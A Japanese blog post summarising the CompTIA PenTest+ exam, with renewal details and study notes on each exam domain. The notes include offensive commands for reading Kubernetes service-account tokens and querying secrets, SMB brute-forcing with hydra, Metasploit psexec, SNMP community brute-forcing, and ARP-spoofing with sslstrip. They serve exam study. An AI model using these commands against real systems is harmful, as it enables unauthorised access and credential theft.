LokiBlog

セキュリティ関連の記事を公開しています

CompTIA PenTest+についてまとめてみた

こんにちは、Lokiです。

今回は、「CompTIA PenTest+」の試験概要と出題範囲についてまとめていこうと思います。

試験概要

以下公式ページより抜粋

CompTIA PenTest+は、ペネトレーションテストの手法、脆弱性評価、また攻撃があった際のネットワークを回復するために必要となるスキルを評価します。効率的に作業を進めるためにフレームワークをカスタマイズし、結果を適切に報告すると共に、ITセキュリティ全般的な状態の改善を図るための戦略を提案できるスキルとベストプラクティスを育成します。
また、従来のデスクトップやサーバーに加えて、クラウドやモバイルなどの新しい環境でデバイスをテストするための実践的なスキルと知識も評価することが可能です。

■ CompTIA PenTest +は、最新のペネトレーションテスト、攻撃に対するネットワークのレジリエンスを維持するために必要な脆弱性評価および管理スキルを評価します。

■ CompTIA PenTest+を取得することで、効率的に作業を進める上で必要な評価フレームワークをカスタマイズし、結果を適切に報告するためのスキルを証明します。

■ 実践的なペネトレーションテストの手法と、脆弱性評価をカバーしているだけではなく、セキュリティ管理上の弱点となりうる点への改善計画、実装、管理をするためのスキルが網羅されています。

■ CompTIA PenTest+は、従来のPCやサーバー環境に加えて、クラウドやモバイルなどの新しい環境でデバイスをテストを実施するための実践的なスキルと知識が含まれています。

ペネトレーションテストに興味がある方や、これから業務でペネトレーションテストをする方、すでにペネトレーションテストを実施している方などが対象かと思います。

試験情報

  • 試験 PT0-001(2019年3月15日より日本語配信開始)
  • 問題数 最大80問
  • 出題形式  単一/複数選択、パフォーマンスベースドテスト
  • 試験時間 165分
  • 推奨される経験 3〜4年間のペネトレーションテスト脆弱性評価、および脆弱性管理の実践経験
  • 合格ライン 750(100~900のスコア形式)

習得可能なスキル

「CompTIA PenTest+」で習得可能なスキルは以下の5つです。

出題範囲

出題範囲は以下の通りです。

  • 計画とスコープ(15%)
  • 情報収集と脆弱性の識別(22%)
  • 攻撃とエクスプロイト(30%)
  • ペネトレーションテストツール(17%)
  • 報告とコミュニケーション(16%)

更新

「CompTIA PenTest+」には、3年間の有効期限が付きます。それ以上すぎると、資格は無効となります。更新するには、「更新する認定資格の最新バージョンの合格」または「ハイレベルな CompTIA認定資格の新規取得」のいずれかの方法で認定資格を取得するか、他ベンダーの認定資格の取得などをする必要があります。

CE(継続教育)プログラム費用は年額50$で3年間で150$となります。CEU申請はCE支払いが完了してからとなります。支払方法はPayPal経由です。また、CE支払いは、一括で支払うことも可能です。詳しくはCEプログラムユーザガイドをご覧ください。

必要なCEU数

資格を維持するためには、日々研鑽し、最新の技術力を維持していることを証明するためのCEUをCE費用とは別で申請する必要があります。各CompTIAの資格によって必要となるCEU数は異なります。「CompTIA PenTest+」についてはCEUが60必要となっています。

 

他ベンダー認定資格一覧(一部のCEUが取得できるもの)

CEUを取得するには、様々な方法がありますが、そのうち他ベンダーの資格を取得すると、CEUが取得できるので、その資格一覧を以下に記載します。

資格母体 資格名 取得CEU
Check Point Check Point Certified Managed Security Expert (CCMSE) 39
  Check Point Certified Security Master (CCSM) R77.30 48
Cisco CCNA Security 50
  CCNP Security 50
  Cyber Ops (CCNA) 30
Cloud Security Alliance CCSK
30
EC-Council
CCISO - Chief Information Security Officer
48
  EISM - EC-Council Information Security Management
48
  CTIA - Certified Threat Intelligence Analyst
48
EnCase Certified Forensic Security Responder(CFSR) 54
 
EnCase Certified Examiner(EnCE)
54
 
EnCase Certified eDiscovery Practitioner(EnCEP)

51
GIAC GCIH: GIAC Certified Incident Handler 51
 
GWAPT: GIAC Web Application Penetration Tester
48
  GMOB: GIAC Mobile Device Security Analyst 51
 
GXPN: GIAC Exploit Researcher and Advanced Penetration Tester
45
  GISP: GIAC Information Security Professional
51
  GSLC: GIAC Security Leadership Certification
48
  GSNA: GIAC Systems and Network Auditor
48
IBM
IBM Certified Deployment Professional - IBM QRadar SIEM V7.3.2
36
  IBM Certified Deployment Professional – IBM Security Identity Governance and Intelligence V5.2.5 33
ISC(2) CCSP - Certified Cloud Security Professional 44
  HCISPP - HealthCare Information Security and Privacy Practitioner 44
Offensive Security Offensive Security Certified Professional
39
  Offensive Security Wireless Professional 54
Palo Alto Palo Alto Networks Certified Network Security Engineer (PCNSE) 51

他ベンダー認定資格一覧(すべてのCEUが取得できるもの)

資格母体 資格名 取得CEU
Cisco CCIE Security 60
  CNP Cisco Certified Specialist - Network Security Firepower 60
  CCNP Cisco Certified Specialist - Security Identity Management Implementation 60
  CCNP Cisco Certified Specialist - Email Content Security 60
  CCNP Cisco Certified Specialist - Web Content Security 60
  CCNP Cisco Certified Specialist - Network Security VPN Implementation 60
  CCNP Cisco Certified Security Automation and Programmability 60
EC-Council ECES - EC-Council Certified Encryption Specialist 60
  ECSS - EC-Council Certified Security Specialist 60
  ECSA - EC-Council Certified Security Analyst 60
  LPT - Licensed Penetration Tester 60
  CHFI - Computer Hacking Forensic Investigator Certification 60
  ECIH - EC-Council Certified Incident Handler 60
  EDRP - EC-Council Disaster Recovery Professional  60
GIAC GPEN: GIAC Certified Penetration Tester 60
  GAWN: GIAC Assessing Wireless Networks 60
  GCFE: GIAC Certified Forensics Examiner  60
  GCFA: GIAC Certified Forensic Analyst 60
  GNFA: GIAC Network Forensic Analyst 60
  GASF: GIAC Advanced Smartphone Forensics 60
  GREM: GIAC Reverse Engineering Malware 60
  GDAT: GIAC Defending Advanced Threats 60
  GCIP: GIAC Critical Infrastructure Protection 60
  GCTI: GIAC Cyber Threat Intelligence 60
  GSTRT: GIAC Strategic Planning, Policy, and Leadership 60
  GCDA: Certified Detection Analyst 60
  GDSA: GIAC Defensible Security Architecture 60
ISACA  Certified Information Systems Auditor (CISA) 60
  Certified Information Security Manager (CISM) 60
  Certified in Risk and Information Systems Control (CRISC) 60
  Certified Governance of Enterprise IT (CGEIT) 60
ISC(2) CAP- Certified Authorization Professional 60
  CCFP- Certified Cyber Forensics Professional 60
  CISSP®- Certified Information Systems Security  60
  CISSP-ISSAP: Information Systems Security Architecture Professional 60
  CISSP-ISSEP: Information Systems Security Engineering Professional 60
  CISSP-ISSMP: Information Systems Security Management Professional 60
  SSCP- Systems Security Certified Practitioner 60
McAfee Data Loss Prevention Endpoint (DLPe) 60
  McAfee ePolicy Orchestrator (ePO) 60
  McAfee Host Intrusion Prevention System (HIPS) 60
  Advanced Threat Defense - ATD 60
  Security Information Event Management (SIEM) 60
  McAfee Product Specialist—ENS 60
SABSA SABSA Chartered Security Architect - Foundation Certificate (SCF) 60
  SABSA Chartered Security Architect - Foundation Certificate (SCF) 60
  SABSA Chartered Security Architect - Master Certificates (SCM) 60

出題範囲と項目

試験範囲表を基にして、個人的に調査してまとめたものとなっています。参考程度にどうぞ。
一部調査できなかった項目もありますので、しっかり勉強したい人は教材を購入することをオススメします。

1.0 計画とスコープ

1.1エンゲージメントを計画することの重要性を説明することができる。

  • ターゲットオーディエンスの理解
  • 活動規約(Rules of engagement)
    →侵入テストの実施方法を扱ったドキュメント。侵入テストを開始する前に、RoEで明確に記述されている必要があるのは「テストの種類と範囲」「クライアントの連絡先の詳細」「クライアントITチームの通知」「機密データの処理」「ステータスミーティングとレポート」など。例えば、事前にクラウドサービスプロバイダと実施期間やアクセス範囲について合意を得る必要がある場合、ROEに記載する。
  • コミュニケーション・エスカレーションパス
    →担当者だけでは対応できないときの上位者への連絡方法を確保
  • リソースと要件
    • 調査結果の機密性
    • 既知と未知
  • 予算
  • 影響分析と改善のタイムライン
  • 免責事項
    • 基準時点アセスメント(Point-in-timeアセスメント)
    • 包括性
  • 技術的制約
  • サポートリソース
    • WSDL/WADL
      WSDLとは、Webサービスを外部のソフトウェアから接続・利用するための仕様(インターフェース)を記述することができる言語。 XMLの記法を用いて、Webサービスの持つ機能や、外部から利用するためのメッセージの形式や通信手順などを記述することができる。
      →REST のために XML ベースで記述された仕様定義。SOAP に対する WSDL(Web Services Description Language) のような存在。
    • SOAPプロジェクトファイル
      SOAPとは、XMLで記述されたメッセージをコンピュータ間で送受信を行うためのプロトコル
    • SDKのドキュメント
      SDKとは、特定のソフトウェアを開発する際に必要なツールのセット(APIのライブラリ、サンプルプログラム、技術文書などが含まれる)のこと。
    • Swaggerドキュメント
      →Swagger は RESTful APIを構築するためのオープンソースフレームワークのこと。
    • XSD
      XML スキーマ ドキュメントの作成に使用する言語。XML スキーマは、定義済みの型のセット (string、dateTime、decimal など) と、新しい型を定義するための XML 言語 (complexType、minOccurs、element など) の 2 つの部分で構成される。
    • サンプルアプリケーションリクエス
    • アーキテクト図
      →システム設計者や開発者が、システムがユーザーのニーズを満たすために、システムまたはアプリケーションの上位レベルの全体的な構造を視覚化した図。ペンテスト開始時に顧客のシステム構成を把握するには、システムアーキテクト図が有効。

1.2主要な法的概念を説明することができる。

  • 契約
    • SOW
      →「Statement Of Work」の略で「作業範囲記述書」のこと。 作業範囲記述書とは、システム開発プロジェクトなどにおける作業の範囲を定義した文書。 具体的にはプロジェクトの目標や、成果物の取り決め、スケジュール、作業内容、役割分担、権限などをこの文書で定義している。
    • MSA
      →グローバルで一つの契約書(MSA: Master Service Agreement)を締結し、国別の特殊条件がある場合 はそれを追加し、あとは発注書のみで処理を行うことが出来るようにするもの。ペネトレーションテストの発注側と受注側の双方で結ぶ包括的な基本契約。
    • NDA(秘密保持契約)
      →取引を行う上で知った相手方の営業秘密や顧客の個人情報などを、取引の目的以外に利用したり、他人に開示・漏洩することを、禁止する契約のこと。
  • 環境の違い
    • 輸出規制
    • 地方自治体および政府の規制
    • 企業ポリシー
  • 書面による承認
    • 適切な機関から署名を取得する
    • 必要に応じた第三者プロバイダの承認

1.3エンゲージメントに対する適切なスコープの重要性を説明することができる。

  • 評価のタイプ
  • 特別なスコープの考慮事項
  • ターゲット選択
    • ターゲット
      • 内部
        • オンサイトとオフサイト
      • 外部
      • 当事者でのホストと第三者でのホスト
      • 物理的
      • ユーザー
      • SSID
      • アプリケーション
    • 考慮事項
  • 戦略
    • ブラックボックス、ホワイトボックス、グレーボックス
      ホワイトボックステストとは、システム内部の構造を理解した上で、それらが意図した通りに動作しているかを確認するテスト方法。
      ブラックボックステストとは、システム内部の構造を考慮することなく、外部から見た仕様を検証するテスト方法。
      →グレーボックステストは、内部構造を把握したうえで、外部からの仕様に基づきテストを行う。
  • リスク受容
  • インパクト耐性
  • スケジューリング
  • スコープクリープ
    →診断が早く終わって他の予定外の機器などを診断するように頼まれること。
  • 脅威アクター
    • 敵対者層
      • APT
        →「発展した/高度な(Advanced)」「持続的な/執拗な(Persistent)」「脅威(Threat)」の略。特定の相手に狙いを定め、その相手に適合した方法・手段を適宜用いて侵入・潜伏し、数か月から数年にわたって継続するサイバー攻撃
      • スクリプトキディ
        →他人の製作したプログラムまたはスクリプトを悪用し、興味本位で第三者に被害を与えるクラッカーの俗称。
      • ハクティビスト
        →サイバー犯罪に関する用語で、社会的・政治的な主張を目的としたハッキング活動(ハクティビズム)を行う者のこと。
      • インサイダー脅威
        →機密データに問題なくアクセスできる人間が、(意図的に)重要な資産に侵入すること。
    • 能力
    • 攻撃者の意図
    • 脅威モデル

1.4コンプライアンスに基づく評価の重要な側面について説明することができる。

  • コンプライアンスに基づく評価、制限や注意事項
    • 評価を完了するためのルール
    • パスワードポリシー
    • データの分離
    • 鍵管理
    • 制限事項
      • ネットワークアクセスの制限
      • ストレージアクセスの制限
  • 規制に基づいた明確な目標

2.0 情報収集と脆弱性の識別

2.1与えられたシナリオに基づき、適切な手法を用いて情報収集を行うことができる。

  • スキャン
  • 列挙
  • パケットの作成
  • パケットの検査
  • フィンガープリンティング
  • 暗号手法
    • Certificate inspection
  • 盗聴
    • RF通信の監視
    • スニッフィング
      • 有線
      • ワイヤレス
  • デコンパイル
  • デバッグ
  • オープンソース情報収集
    • リサーチのソース
      • CERT/CC
        アメリカにあるインターネットセキュリティを扱う研究・開発センター。CSIRTの草分けであり、同分野で最も権威ある組織の一つ
      • NIST
        →米国の国立標準技術研究所(National Institute of Standards and Technology)のこと。米国商務省傘下の研究機関であり、技術革新や産業競争力強化を目的に技術の標準化を研究・推進している。
      • JPCERT/CC
        JPCERT/CC(ジェーピーサート/シーシー[1])は、「一般社団法人 JPCERTコーディネーションセンター[2]」の略称。 コンピュータセキュリティの情報を収集し、インシデント対応の支援、コンピュータセキュリティ関連情報の発信などを行う一般社団法人。
      • CAPEC
        →Common Attack Pattern Enumeration and Classification (CAPEC) は、セキュリティ攻撃パターンを網羅的に分類・カタログ化したもの。
      • Full disclosure
        →nmapの提供元。脆弱性と悪用手法、およびコミュニティが関心を持つツール、ペーパー、ニュース、イベントに関する詳細なディスカッションを行う、ベンダー中立の公開フォーラム。
      • CVE
        →既知のサイバーセキュリティの脆弱性に対するエントリのリストであり、それぞれに識別番号、説明、および少なくとも1つのパブリックリファレンスが含まれている。
      • CWE
        →CWEは、コミュニティが開発した、ソフトウェアおよびハードウェアの一般的なセキュリティの脆弱性のリスト。

2.2与えられたシナリオに基づき、脆弱性スキャンを実行することができる。

  • クレデンシャルとノンクレデンシャルの違い
  • スキャンの種類
    • ディスカバリースキャン
      →ホスト(対象)を検出するために使用するスキャン
      →NMAPだと「-sn(ping sweep)」とか「-PS(TCP pingをカスタマイズ)」
      →nmap -sn 192.168.1.0/24 とか nmap -PS21-25,80,110,443,3306,3389,8000,8080,445,139 192.168.1.0/24
    • フルスキャン
      →ホストを検出したら、詳細なスキャンをホストに対して実行する
      →nmap -p- -Pn -sS -A -iL liveIPaddresses.txt -oX fullscan.xml -oN fullscan.txt
      • -p- =すべての65535ポートをスキャン
      • -Pn =ホスト検出無効でポートスキャンのみ
      • -sS = TCP SYNポートスキャン
      • -A =オペレーティングシステムとサービスの両方を検出します。
      • -iL =テキストファイルのIPアドレスのリストからスキャン
      • -oX =スキャンの結果をXMLファイルに書き込む(NESSUSへのインポートに役立つ)
      • -oN =スキャンの結果を通常のTXTファイルに書き込む
    • ステルススキャン(ハーフオープンスキャン)
      →フルスキャンよりIPSやIDSに検知される可能性が低くなるスキャン方法
    • コンプライアンススキャン
      →機器の設定などが、ポリシーに準拠しているかを検査するスキャン(PCIDSSに準拠しているかどうかなど)
  • コンテナのセキュリティ(参考
    • 特権付きサービスアカウントトークンの検索
      →攻撃者がいずれかのコンテナ内でシェルを所得した場合以下のコマンドで特権アカウントトークンを検索可能
      →cat /run/secrets/kubernetes.io/serviceaccount/token
      →このJWTトークンを使用して、権限がある場合、攻撃者はこれを使用して機密データを公開し、権限を昇格させることが可能。参考。JWTトークンには、ネームスペース、シークレット名、サービスアカウント名に関する情報が含まれていて、jwt.ioを使用してトークンをデコードできる。また、以下のコマンドを使用して、シークレットを一覧表示する権限もあるかどうかを確認することが可能。
      curl -k -v -H“ Authorization:Bearer <jwt_token>” https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
    • サービスアカウントAPI承認の確認
      →サービスアカウント名を見ても有益な情報が得られない場合、確認する必要がある危険なAPIエンドポイントは以下。
      • pods
        curl -v -H“ Authorization:Bearer <jwt_token>” https://<master_ip>:<port>/api/v1/namespaces/default/pods/
      • secrets 
        curl -v -H“ Authorization:Bearer <jwt_token>” https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
      • deployments
        curl -v -H“ Authorization:Bearer <jwt_token>” https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
      • daemonsets
        curl -v -H“ Authorization:Bearer <jwt_token>” https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
    • カーネルエクスプロイトの脆弱性
      →コンテナはホストと同じカーネルを共有するため非常に効果的な攻撃。cat /proc/version、uname -aなどのコマンドを使用して、脆弱なバージョンのカーネルを使用しているかどうかを確認する。
    • コンテナのセキュリティ構成
      →特権がrootユーザでないか
      →cap_sys_admin、cap_sys_module、cap_sys_bootの機能を使用してコンテナーからホストにエスケープすることが可能。
    • コンテナ内の機密ファイル
      →パスワードファイル、sshキー、証明書、公開キー、秘密キーなどの機密ファイルがコンテナ内に保存されていないかを確認する。
  • アプリケーションスキャン
    • 動的分析と静的分析
  • 脆弱性スキャンの考慮事項

2.3与えられたシナリオに基づき、脆弱性スキャン結果を分析することができる。

  • アセットの分類
  • 判断
    • フォールス・ポジティブ(誤検知)
      →本来見つけたくない脅威が発見される状態(良いやつをダメってしちゃう)
    • フォールス・ネガティブ(検知漏れ)
      →本来見つけたい脅威が発見されない状態(ダメなやつを良いってしちゃう)
  • 脆弱性の優先順位付け
  • 共通テーマ

2.4エクスプロイトの準備に情報を活用するプロセスを説明することができる。

  • 潜在的なエクスプロイトに脆弱性マッピングする
  • ペネトレーションテストのための準備活動の優先順位付け
  • 攻撃を完了するための共通テクニックを説明する
    • ロスコンパイルコード
      ソースコードを元に、開発に使用している機種やOSとは異なる環境向けに実行可能なコードを生成すること。
    • エクスプロイトの修正
    • エクスプロイトの連鎖
    • Proof-of-concept開発(エクスプロイト開発)
    • ソーシャルエンジニアリング
    • クレデンシャル総当たり
    • 辞書攻撃
    • レインボーテーブル
      →ハッシュから平文を得るために使われるテクニックの一つ。
    • デセプション
      →攻撃者に対して、偽の情報をつかませることによって、攻撃の検知・遅延を実現したり、目的のものに到達させない手法。

2.5特化したシステムに関連する弱点を説明することができる。

  • ICS(産業用制御システム)
    →設備を管理し、制御することを目的としたIT技術やシステムの総称。
  • SCADA(監視制御システム)
    →コンピューターによるシステム監視とプロセス制御を行うシステム。製造などの工業プロセス、水処理や上下水道、送電網などの重要インフラ、大規模施設の空調やエネルギー消費などを監視して制御している。
  • モバイル
  • IoT
  • 組み込み
  • POSシステム
  • 生体認証
  • アプリケーションコンテナ
  • RTOS
    →リアルタイムオペレーティングシステム(英: Real-time operating system;RTOS)は、リアルタイムシステムのためのオペレーティングシステム (OS) である。 組み込みオペレーティングシステムに多い。ある時間的制約内に処理を完遂することが保証されているOS。

3.0 攻撃とエクスプロイト

3.1ソーシャルエンジニアリング攻撃を比較対照することができる。

  • フィッシング
    • スピアフィッシング
      →特定の企業の特定の人物や社員を標的にするもの。
    • SMSフィッシング
      →スミッシングとも言う。SMSを使ったフィッシング詐欺メールを指す造語。
    • ボイスフィッシング
      →ビッシングとも言う。電話等の音声案内を通じて詐欺被害者を誘導しようとする手口のこと。
    • ホエーリング
      →標的はほとんどが重役で、最高経営責任者(CEO)や最高財務責任者CFO)といったトップレベルの幹部、高位の意思決定者、企業のデータや財務に責任を負う人たちに標的を絞っているもの。
  • 誘導質問
    • ビジネスメール詐欺
  • 尋問
  • なりすまし
  • ショルダーサーフィン
  • USBキードロップ
    マルウェアを仕込んだUSBメモリを落としておいて、拾った人がPCに挿したら、感染してしまうというもの。
  • モチベーションテクニック
    • 権威 (Authority)
      →「社長が~」と、上位の者を引き合いに出して、ビビらせるもの。
    • 希少性 (Scarcity)
      →「残り僅か~」と、レア度を吊り上げるもの。
    • 社会的証明 (Social proof)
      →「みんなやってるから大丈夫~」と、みんなでやれば怖くない精神。
    • 緊急性 (Urgency)
      →「早くしないと~」と、焦らせて判断を鈍らせる。
    • 類似性 (Likeness)
      →「私たち同じじゃん~」と、同族のようにふるまうもの。
    • 恐れ (Fear)
      →「さもないと~」のように、対象をビビらせて判断を鈍らせるもの。

3.2与えられたシナリオに基づき、ネットワークベースの脆弱性を利用することができる。

  • 名前解決のエクスプロイト
    • NETBIOSネームサービス
      135/TCP/MS-RPCエンドポイントマッパー
      137/UDP/NetBIOSネームサービス
      138/UDP/NetBIOSデータグラムサービス
      139/TCP/NetBIOSセッションサービス
    • LLMNR
      →リンクローカルマルチキャスト名前解決(LLMNR)プロトコルは、ネットワークにDNSドメインネームシステム)がないときに近隣のパソコンの名前を解決するのに使用される。IPv4IPv6両方の環境で有効。DNSサーバーがない環境でも名前解決ができる。
  • SMBエクスプロイト
    →nmap -p 445 -A 192.168.1.1
    OS、コンピュータ名、NetBIOS名、SMBセキュリティモードなどの情報を列挙
    →nmap --script smb-vuln* -p 445 192.168.1.1
    バージョンによる脆弱性があるかどうかなどを判定
    Metasploitなどを使用して、脆弱性を攻撃する
    →hydra -L user.txt -P pass.txt 192.168.1.1 smb
    ブルートフォースを使用してパスワードクラックを実行するのも手
    →use exploit/windows/smb/psexec
    認証情報が取得出来たら、msfconsoleから上記のモジュールを使用して、Meterpreterセッションを確立する
    →SMBポートを使用してセッションを張る他の方法についてはこちらを参照
  • SNMPエクスプロイト
    • Nmap
      →ls /usr/share/nmap/scripts/ | grep 'snmp'を使用してsnmpに関連するnseを検索する
      →nmap 192.168.1.1 -sU -p 161 --script=スクリプト
    • snmpwalk
      →snmpwalk -c public 192.168.1.1 -v1
      コミュニティ名が「public」の場合の攻撃
      -cはコミュニティストリング
      -v1はSNMPバージョン
    • snmp-check
      →snmpwalkと同様に、SNMPバイスを列挙し、判別しやすい形式で出力する
    • Braa
      →braa [コミュニティ文字列] @ [SNMPサーバーのIP]:[iso id]
      →braa hoge@192.168.1.1:.1.3.6.*
      大量のSNMPスキャナーで数十または数百のホストに同時に、単一のプロセスでクエリを実行
    • onesixtyone
      →onesixtyone -c /usr/share/list/rockyou.txt 192.168.1.1
      SNMPコミュニティストリングをブルートフォースするために使用できる別のツール
    • Metasploit
      →auxiliary/scanner/snmp/snmp_enum
      コミュニティ名をセットして、列挙する
    • SNMPサービスが「rw」認証の場合
      →snmpset -v 1 -c public 192.168.1.1 sysName値 s 文字列
    • 設定ファイルsnmp.conf
    • ユーザ名/パスワード
    • E-mail
      • grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
  • SMTPエクスプロイト
    • EXPNコマンド
      →ユーザエイリアスの実際のアドレスとEmailのリストを明らかにする
    • VRFYコマンド
      →有効な名前の存在を確認する
    • RCPT TOコマンド
      →メールの受信者を識別する
    • Metasploit
      →auxiliary/scanner/smtp/smtp_enum
      存在するユーザを列挙する
      →auxiliary/scanner/snmp/snmp_login
      ログイン可能なユーザ名を列挙
    • Medusa
      →medusa -h 192.168.1.1 -u hoge -P Desktop/hoge/wordlist -M snmp
    • smtp-user-enum.pl
      →このスクリプトは「EXPN」「VRFY」「RCPT」を使用して、ユーザの列挙をすることが可能。ユーザ名リストを与えてスキャンをする
    • Nmap
      →nmap --script smtp-enum-users.nse 192.168.1.1
      nseスクリプトを使用して対象のユーザを列挙する
  • FTPエクスプロイト
    • Metasploit
      →auxiliary/scanner/ftp/anonymous
      匿名ログインが許可されているか判定
      →auxiliary/scanner/ftp/ftp_version
      バージョンを判定
      →auxiliary/scanner/ftp/ftp_login
      ユーザファイルとパスワードファイルを指定して、ブルートフォース攻撃をする
  • DNSキャッシュポイズニング_
    → DNSサーバの脆弱性を利用して偽の情報をDNSサーバへ記憶させ、 そのDNSサーバを使用するユーザーに対して影響を与える攻撃。
    →ホスト名とIPアドレスの対応を本来の情報とは違うものにして、 特定のサイトへ到達できなくしたり、 攻撃者がコントロールする別のサイトへ誘導したりする。
  • Pass-the-hash攻撃
    →Net-NTLMv2認証時に使用されるパスワードのハッシュ情報を不正に取得し、そのハッシュ情報を使用して認証を行う、なりすまし攻撃のこと。
    →企業のネットワーク管理者は管理を簡単にするために、初期設定のAdministratorアカウントはそのままで、パスワードを同じにしている傾向があるので、Pass-the-hashでアカウントのパスワードが判明すれば、他の端末にも侵害可能の可能性あり。
    • SAMデータベース
      →パスワードのハッシュ値(LMとNTLM)が保存されている
      →C:\WINDOWS\system32\configに実体があるが特殊なアクセスが必要なので、ツールを使用する
      • PwDump
      • Ophcrack
  • 中間者攻撃
    • ARPスプーフィング
      →正規のクライアントからのARP要求に対して、攻撃者が「不正なARP応答」を ブロードキャストすることでLAN上の通信機器になりすます攻撃手法。
      • arpspoofコマンド
        →arpspoof -i eth0 -t ルータIP 攻撃対象端末IP(ルーターARPテーブルにある攻撃対象のMACアドレスを攻撃者のMACアドレスに書き換える)
        →arpspoof -i eth0 -t 攻撃対象端末IP ルータIP(攻撃対象のARPテーブルにあるルーターMACアドレスを攻撃者のMACアドレスに書き換える)
        →成功後は、tcpdumpwiresharkなどで盗聴する。
        SSL通信ならばssltrip
        iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
        →sslstrip -l 8080
        →cat sslstrip.log
      • Ettercap
        →LANベースの中間者攻撃を行うツール。
    • リプレイ攻撃
      →利用者の確認に用いられる認証データの送受信を盗聴し、得られたデータをそのまま用いてその利用者になりすます方式。
    • リレー
    • SSLストリッピング
      →arpspoof前提の攻撃だが、HTTPSの通信をHTTPの通信にしてしまう攻撃。
      →被害者端末のブラウザでは、SSLの鍵マークが消失する。
    • ダウングレード攻撃
      SSL/TLSの通信開始に際して、脆弱性のあるSSL/TLSのバージョン若しくは強度の弱い暗号化アルゴリズム・鍵交換アルゴリズムの使用を強制することで、それらの脆弱性を突いた通信傍受などを行う攻撃の総称。
  • DoS /ストレステスト
  • NACバイパス
    →NAC(ネットワークアクセス制御)は、ネットワークリソースの利用を、定められたセキュリティポリシーに準拠したデバイスだけに限定することによって社内ネットワークのセキュリティを強化する手法。
    →有効なホストPCのIPアドレスMACアドレスを盗聴して、攻撃用の端末に設定して認証なしで内部ネットワークにアクセス可能。
    ツールGithub
  • VLANホッピング(ダブルタギング
    →通常、接続されたVLANから他のVLANにアクセスはできないが、VLANホッピングを使用すると通常はアクセスできないポートに通信を送出できる。
    • Switch Spoofing
      →攻撃者がVLANのタグ付けおよびトランキングプロトコルを使用して、トランキングプロトコルを模倣することによって、トランクリンクを構築し、すべてのVLANからのトラフィックにアクセスできる。
    • Double Tagging
      →一部のスイッチにおいて、1つの802.1Qタグしか削除しないという性質を悪用して、2つのVLANタグを付加して、攻撃者が属するVLANタグを削除した後に、被害者側のVLANタグがスイッチによって、被害者側のVLANに転送されるというもの。

3.3与えられたシナリオに基づき、ワイヤレスとRFベースの脆弱性を利用することができる。

  • エビルツイン
    • Karma攻撃
      →Evil Twin 攻撃の中間者攻撃を行うツール。WiFiのMITM(Man-In-The-Middle)のツールのひとつ。
    • ダウングレード攻撃
  • 認証解除攻撃(Deauthentication Attack)
    IEEE 802.11プロトコルにおいて、クライアントがAPとの接続を切断したい場合、認証解除フレームを使う仕様がある。手順は、
    • クライアントが認証解除フレームを送信する
    • APが認証解除フレームを受信する
    • APが応答フレームを送信する
    • クライアントが応答フレームを受信する
      というもの。この時、送信されるクライアントのMACアドレスが暗号化されず平文で通信される。これを悪用する。攻撃の方法としては、
  • フラグメンテーション攻撃
    DoS攻撃の一種。フラグメンテーションのメカニズムを悪用し,ネットワークの帯域を埋め尽くそうとする。
    →データは送信される際に分割して送信される場合がある。その場合は、受信したホスト側で再結合するが、この時の処理を悪用したもの。
    • TCP型(Teardrop attack)
      →MTUサイズをオーバーするデータを送信する際に、再結合の時に必要な情報であるオフセット値を重複する値にすることで、ホストがうまく処理できない場合にシステムはクラッシュする。
    • UDP、ICMP型
      →MTUサイズをオーバーする偽のUDPやISMPのパケットを転送する方法。再結合を使用としてもできないので、受信したホストはリソースを消費してしまう。
  • クレデンシャルハーベスティング
    →パスワードハーベストとも言われる手法。資格情報を摂取する攻撃の事。
  • WPS実行の弱点
    • PINの長さが実質7桁(最後の8桁目はチェックディジット)かつ、前半4桁の思考が失敗すると認証が終了するので、10^4試行するだけで、前半4桁が判明し、10^3試行するだけで、後半3桁が判明する。
    • 認証方式の途中でデータパケットの暗号の解読が可能。
    • ルータ自身のPINコードはルータのMACアドレスから算出している場合があるので、ルータの通信のパケットを盗聴すれば、容易に判明する。
  • ブルージャッキング
    →匿名のテキストメッセージをBluetooth経由でモバイルユーザーに送りつける手法。迷惑なメッセージを大量に送りつけるだけなので、セキュリティ的なリスクは低い。
  • ブルースナーフィング
    →セキュリティ上の脆弱性を悪用して、モバイル機器に保存されている情報にアクセスできるようにする手法。
  • RFIDクローニング
    →データの書き換えが可能なRFIDにおいて、正規のRFIDを生成する手法。
  • ジャミング
    →電波を妨害する手法。
  • 繰り返し

3.4与えられたシナリオに基づき、アプリケーションベースの脆弱性を利用することができる。

  • インジェクション
    • SQL
      →アプリケーションのセキュリティ上の不備を意図的に利用し、アプリケーションが想定しないSQL文を実行させることにより、データベースシステムを不正に操作する攻撃方法。
    • HTML
      →ユーザのブラウザ上でサイト管理者の意図しない操作をHTMLやスクリプトを混入する手法。
    • コマンド
      →ユーザーからデータや数値の入力を受け付けるようなWebサイトなどにおいて、プログラムに与えるパラメータにOSへの命令文を紛れ込ませて不正に操作する攻撃方法。
    • コード
      →ソフトウェアがユーザ入力にコードを含めることを許可する場合、意図した制御フローを改ざんされる等の方法により、攻撃者によりコードを作成され意のコードを実行される攻撃方法。
  • 認証
    • クレデンシャル総当たり
      →不正な認証思考を繰り返す手法。
    • セッションハイジャッキング
      →ログインなどに使用するセッション情報を不正に使用してなりすます手法。
    • リダイレクト
      →リダイレクト時に任意のURLにリダイレクトする手法。主にフィッシングサイト等。
    • デフォルトクレデンシャル
      →認証情報が初期値のままであることを想定して、認証を突破する手法。
    • 脆弱なクレデンシャル
      →文字列が複雑でないため、推測やブルートフォース攻撃が容易な認証情報。
    • Kerberosのエクスプロイト
      • Pass-the-Hash
        →パスワードではなく、ハッシュを用いて認証をする手法。パスワードを知らなくても攻撃可能。
      • Pass-the-Ticket
        →窃取したドメイン管理者権限を用いて不正な認証チケットを作成する手法。
      • Kerberoasting
        Active Directoryをスキャンしてサービス・アカウント(SPNがセットされているアカウント)を列挙する。
        →列挙したサービス・アカウントに関連するサービスチケットをKDCから発行してもらう。
        →発行されたサービスチケットをメモリに展開してファイルに保存する。
        →ツール等を用いてオフラインでサービスチケットからサービス・アカウントのパスワードをクラックする。
  • 認可
    • パラメータ汚染
      →正規の入力値が変更されて不正な値が入力チェックをすり抜けて内部に取り込まれる脆弱性
    • 不安定なダイレクトオブジェクトのリファレンス(IDOR)
